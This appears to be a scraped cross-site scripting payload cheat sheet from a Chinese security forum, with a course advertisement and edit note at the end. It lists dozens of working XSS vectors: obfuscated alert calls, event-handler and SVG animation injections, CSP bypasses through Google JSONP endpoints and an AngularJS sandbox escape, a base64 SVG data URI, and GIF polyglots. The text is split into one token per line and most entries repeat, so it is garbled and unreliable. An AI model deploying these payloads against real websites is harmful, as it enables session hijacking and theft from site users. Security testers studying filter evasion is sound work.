top[
8680439.
.toString(
30
)](
1
)
(alert)(
1
)
a
=
alert,a(
1
)
[
1
].find(alert)
top[
"al"
+
"ert"
](
1
)
top[
/
al
/
.source
+
/
ert
/
.source](
1
)
al\u0065rt(
1
)
top[
'al\145rt'
](
1
)
top[
8680439.
.toString(
30
)](
1
)
write`XSSed!`
write`<img
/
src
/
o&
write(
'\74img/src/o\156error\75alert\501\51\76'
)
write`XSSed!`
write`<img
/
src
/
o&
write(
'\74img/src/o\156error\75alert\501\51\76'
)
top.
open
`javas\cript:al\ert\x281\x29`
top.
open
`javas\cript:al\ert\x281\x29${
0
}
0
`
top.
open
`javas\cript:al\ert\x281\x29`
top.
open
`javas\cript:al\ert\x281\x29${
0
}
0
`
<svg onload
=
eval
(
" ' "
+
URL)>
<svg
id
=
eval
onload
=
top[
id
](
" ' "
+
URL)>
<svg onload
=
eval
(
" ' "
+
URL)>
<svg
id
=
eval
onload
=
top[
id
](
" ' "
+
URL)>
=
>
FILE
.php
/
'
/
alert(
1
)
/
/
?...
=
>
=
>
FILE
.php
/
'
/
alert(
1
)
/
/
?...
=
>
${alert(
1
)}<svg onload
=
eval
(
'`//'
+
URL)>
${alert(
1
)}<svg onload
=
eval
(
'`//'
+
URL)>
"onpointerover
=
alert(
1
)
/
/
"autofocus onfocusin
=
alert(
1
)
/
/
"onpointerover
=
alert(
1
)
/
/
"autofocus onfocusin
=
alert(
1
)
/
/
"o<x>nmouseover
=
alert<x>(
1
)
/
/
"autof<x>ocus o<x>nfocus
=
alert<x>(
1
)
/
/
"o<x>nmouseover
=
alert<x>(
1
)
/
/
"autof<x>ocus o<x>nfocus
=
alert<x>(
1
)
/
/
GIF89a
=
/
/
<script>
alert(
1
)
/
/
<
/
script>;
GIF89a
=
/
/
<script>
alert(
1
)
/
/
<
/
script>;
eval
(URL.
slice
(
-
8
))
eval
(location.
hash
.
slice
(
1
))
document.write(decodeURI(location.
hash
))
eval
(URL.
slice
(
-
8
))
eval
(location.
hash
.
slice
(
1
))
document.write(decodeURI(location.
hash
))
<svg
/
onload=alert(
1
)>
<svg
/
onload=alert(
1
)>
<scrpt>confirm(
1
)<
/
scrpt>
<scrpt>confirm(
1
)<
/
scrpt>
http:
/
/
facebook.com.localhost
/
crosspwn.html?target
=
/
/
brutelogic.com.br
/
tests
/
status.html&msg
=
<script>alert(
1
)<
/
script>
http:
/
/
facebook.com.localhost
/
crosspwn.html?target
=
/
/
brutelogic.com.br
/
tests
/
status.html&msg
=
<script>alert(
1
)<
/
script>
<script src
=
/
/
www.google.com
/
complete
/
search?client
=
chrome
%
26jsonp
=
alert(
1
)>
<
/
script>
<script src
=
/
/
www.googleapis.com
/
customsearch
/
v1?callback
=
alert(
1
)><
/
script>
<script src
=
/
/
ajax.googleapis.com
/
ajax
/
libs
/
angularjs
/
1.6
.
0
/
angular.
min
.js>
<
/
script><x ng
-
app ng
-
csp>{{$new.constructor(
'alert(1)'
)()}}
<script src
=
/
/
www.google.com
/
complete
/
search?client
=
chrome
%
26jsonp
=
alert(
1
)>
<
/
script>
<script src
=
/
/
www.googleapis.com
/
customsearch
/
v1?callback
=
alert(
1
)><
/
script>
<script src
=
/
/
ajax.googleapis.com
/
ajax
/
libs
/
angularjs
/
1.6
.
0
/
angular.
min
.js>
<
/
script><x ng
-
app ng
-
csp>{{$new.constructor(
'alert(1)'
)()}}
<svg><
set
onbegin
=
alert(
1
)>
<svg><
set
end
=
1
onend
=
alert(
1
)>
<svg><
set
onbegin
=
alert(
1
)>
<svg><
set
end
=
1
onend
=
alert(
1
)>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href
to
=
javascript:alert(
1
)>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href
values
=
javascript:alert(
1
)>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href to
=
0
from
=
javascript:alert(
1
)>
<svg><use xlink:href
=
data:image
/
svg
%
2Bxml
;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAv
c3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI
%
2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9Imp
hdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4
=
%
23x
>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href
to
=
javascript:alert(
1
)>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href
values
=
javascript:alert(
1
)>
<svg><a><rect width
=
99
%
height
=
99
%
/
><animate attributeName
=
href to
=
0
from
=
javascript:alert(
1
)>
<svg><use xlink:href
=
data:image
/
svg
%
2Bxml
;base64,PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAv
c3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayI
%
2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9Imp
hdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4
=
%
23x
>
<script>alert(
1
)<
/
script>
<script src
=
data:,alert(
1
)>
<iframe src
=
javascript:alert(
1
)>
<embed src
=
javascript:alert(
1
)>
<a href
=
javascript:alert(
1
)>click
<math><brute href
=
javascript:alert(
1
)>click
<form action
=
javascript:alert(
1
)><
input
type
=
submit>
<isindex action
=
javascript:alert(
1
)
type
=
submit value
=
click>
<form><button formaction
=
javascript:alert(
1
)>click
<form><
input
formaction
=
javascript:alert(
1
)
type
=
submit value
=
click>
<form><
input
formaction
=
javascript:alert(
1
)
type
=
image value
=
click>
<form><
input
formaction
=
javascript:alert(
1
)
type
=
image src
=
SOURCE>
<isindex formaction
=
javascript:alert(
1
)
type
=
submit value
=
click>
<
object
data
=
javascript:alert(
1
)>
<iframe srcdoc
=
<svg
/
o&
<svg><script xlink:href
=
data:,alert(
1
)
/
>
<math><brute xlink:href
=
javascript:alert(
1
)>click
<script>alert(
1
)<
/
script>
<script src
=
data:,alert(
1
)>
<iframe src
=
javascript:alert(
1
)>
<embed src
=
javascript:alert(
1
)>
<a href
=
javascript:alert(
1
)>click
<math><brute href
=
javascript:alert(
1
)>click
<form action
=
javascript:alert(
1
)><
input
type
=
submit>
<isindex action
=
javascript:alert(
1
)
type
=
submit value
=
click>
<form><button formaction
=
javascript:alert(
1
)>click
<form><
input
formaction
=
javascript:alert(
1
)
type
=
submit value
=
click>
<form><
input
formaction
=
javascript:alert(
1
)
type
=
image value
=
click>
<form><
input
formaction
=
javascript:alert(
1
)
type
=
image src
=
SOURCE>
<isindex formaction
=
javascript:alert(
1
)
type
=
submit value
=
click>
<
object
data
=
javascript:alert(
1
)>
<iframe srcdoc
=
<svg
/
o&
<svg><script xlink:href
=
data:,alert(
1
)
/
>
<math><brute xlink:href
=
javascript:alert(
1
)>click
<x contenteditable onblur
=
alert(
1
)>lose focus!
<x onclick
=
alert(
1
)>click this!
<x oncopy
=
alert(
1
)>copy this!
<x oncontextmenu
=
alert(
1
)>right click this!
<x onauxclick
=
alert(
1
)>right click this!
<x oncut
=
alert(
1
)>copy this!
<x ondblclick
=
alert(
1
)>double click this!
<x ondrag
=
alert(
1
)>drag this!
<x contenteditable onfocus
=
alert(
1
)>focus this!
<x contenteditable oninput
=
alert(
1
)>
input
here!
<x contenteditable onkeydown
=
alert(
1
)>press
any
key!
<x contenteditable onkeypress
=
alert(
1
)>press
any
key!
<x contenteditable onkeyup
=
alert(
1
)>press
any
key!
<x onmousedown
=
alert(
1
)>click this!
<x onmouseenter
=
alert(
1
)>hover this
<x onmousemove
=
alert(
1
)>hover this!
<x onmouseout
=
alert(
1
)>hover this!
<x onmouseover
=
alert(
1
)>hover this!
<x onmouseup
=
alert(
1
)>click this!
<x contenteditable onpaste
=
alert(
1
)>paste here!
<x onpointercancel
=
alert(
1
)>hover this!
<x onpointerdown
=
alert(
1
)>hover this!
<x onpointerenter
=
alert(
1
)>hover this!
<x onpointerleave
=
alert(
1
)>hover this!
<x onpointermove
=
alert(
1
)>hover this!
<x onpointerout
=
alert(
1
)>hover this!
<x onpointerover
=
alert(
1
)>hover this!
<x onpointerup
=
alert(
1
)>hover this!
<x onpointerrawupdate
=
alert(
1
)>hover this!
<x contenteditable onblur
=
alert(
1
)>lose focus!
<x onclick
=
alert(
1
)>click this!
<x oncopy
=
alert(
1
)>copy this!
<x oncontextmenu
=
alert(
1
)>right click this!
<x onauxclick
=
alert(
1
)>right click this!
<x oncut
=
alert(
1
)>copy this!
<x ondblclick
=
alert(
1
)>double click this!
<x ondrag
=
alert(
1
)>drag this!
<x contenteditable onfocus
=
alert(
1
)>focus this!
<x contenteditable oninput
=
alert(
1
)>
input
here!
<x contenteditable onkeydown
=
alert(
1
)>press
any
key!
<x contenteditable onkeypress
=
alert(
1
)>press
any
key!
<x contenteditable onkeyup
=
alert(
1
)>press
any
key!
<x onmousedown
=
alert(
1
)>click this!
<x onmouseenter
=
alert(
1
)>hover this
<x onmousemove
=
alert(
1
)>hover this!
<x onmouseout
=
alert(
1
)>hover this!
<x onmouseover
=
alert(
1
)>hover this!
<x onmouseup
=
alert(
1
)>click this!
<x contenteditable onpaste
=
alert(
1
)>paste here!
<x onpointercancel
=
alert(
1
)>hover this!
<x onpointerdown
=
alert(
1
)>hover this!
<x onpointerenter
=
alert(
1
)>hover this!
<x onpointerleave
=
alert(
1
)>hover this!
<x onpointermove
=
alert(
1
)>hover this!
<x onpointerout
=
alert(
1
)>hover this!
<x onpointerover
=
alert(
1
)>hover this!
<x onpointerup
=
alert(
1
)>hover this!
<x onpointerrawupdate
=
alert(
1
)>hover this!
">
'-alert(1)-'
<svg>
">&
">alert(1)-"
<svg>
"&
">
'-alert(1)-'
<svg>
">&
">alert(1)-"
<svg>
"&
<svg
/
on<script><script>load
=
alert(
1
)
/
/
<
/
script>
<svg
/
on<script><script>load
=
alert(
1
)
/
/
<
/
script>
<!
-
-
%
0A
-
-
>
<SCRİPT>alert(
1
)<
/
SCRİPT>
<SCRİPT
/
SRC
=
data:,alert(
1
)>
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2021-1-19 14:25
被kanxue编辑
,原因: